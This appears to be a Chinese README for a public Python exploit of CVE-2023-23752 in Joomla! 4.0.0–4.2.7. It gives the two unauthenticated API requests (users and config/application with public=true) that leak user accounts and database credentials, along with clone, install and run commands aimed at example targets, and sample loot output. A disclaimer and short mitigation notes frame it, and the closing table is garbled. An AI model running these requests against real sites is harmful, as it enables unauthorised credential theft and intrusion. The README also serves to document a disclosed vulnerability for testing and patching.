⚠️ 免责声明: 此工具仅供教育目的和授权渗透测试使用。仅可针对您拥有或已获得明确书面许可的系统进行测试。未经授权的使用是非法的。
Joomla! 是使用最广泛的开源内容管理系统(CMS)之一。版本 4.0.0 至 4.2.7 暴露了两个没有适当访问控制的 API 端点,允许未授权的攻击者获取敏感信息:已注册的用户帐户,以及在易受攻击的配置中,网站的数据库凭据。
该漏洞由 NSFOCUS 天机实验室的 Zewei Zhang 发现并向 Joomla! 项目披露,该项目在 4.2.8 版本中发布了补丁。该漏洞被分配为 CVE-2023-23752。
此仓库包含由 ACCEIS 发布的原始 Ruby 漏洞利用的 Python 移植版。
Joomla 的 REST API Web 服务端点本应在返回数据前强制执行身份验证和访问检查。在受影响版本中,当使用 public=true 查询参数调用时,有两个端点未能正确执行此检查,将请求视为来自匿名“公共”访问级别(该级别应仅暴露非敏感数据),但却泄露了内部信息。
GET /api/index.php/v1/users?public=true
GET /api/index.php/v1/config/application?public=true
脚本自动化以下步骤:
1. 向 /api/index.php/v1/users?public=true 发送 GET 请求
2. 解析 JSON:API 响应并提取用户记录
3. 向 /api/index.php/v1/config/application?public=true 发送 GET 请求
4. 解析 JSON:API 响应并提取站点和数据库配置
5. 将两组数据打印到控制台
整个过程无需身份验证、会话或 CSRF token——整个攻击仅需两个未授权的 GET 请求。
requestspip install requests --break-system-packages
git clone https://github.com/BardLaudian/CVE-2023-23752.git
cd CVE-2023-23752
pip install requests --break-system-packages
usage: CVE-2023-23752.py [-h] url
positional arguments:
url 目标的基础 URL,例如 http://dev.devvortex.htb
options:
-h, --help 显示此帮助信息并退出
python3 CVE-2023-23752.py http://127.0.0.1:4242
python3 CVE-2023-23752.py http://dev.devvortex.htb
=== Users ===
[123] Administrator (admin) - [email protected] - ['Super Users']
=== Site info ===
Site name: My Site
Editor: tinymce
Captcha: 0
Access: 1
Debug status: False
=== Database info ===
DB type: mysqli
DB host: localhost
DB user: joomla_user
DB password: ********
DB name: joomla_db
DB prefix: sd8f2_
DB encryption: 0
/api/index.php/* 路径——如果无法立即升级。/api/index.php/v1/ Web 服务路径的未授权请求。| 字段 |
|---|
| 值 |
|---|
| CVE | CVE-2023-23752 |
| 受影响版本 | Joomla! 4.0.0 – 4.2.7 |
| 类型 | 不恰当的访问控制 / 信息泄露 |
| 所需权限 | 无(未授权) |
| 影响 | 泄露用户帐户和数据库凭据 |
| 补丁版本 | Joomla! 4.2.8(2023 年发布) |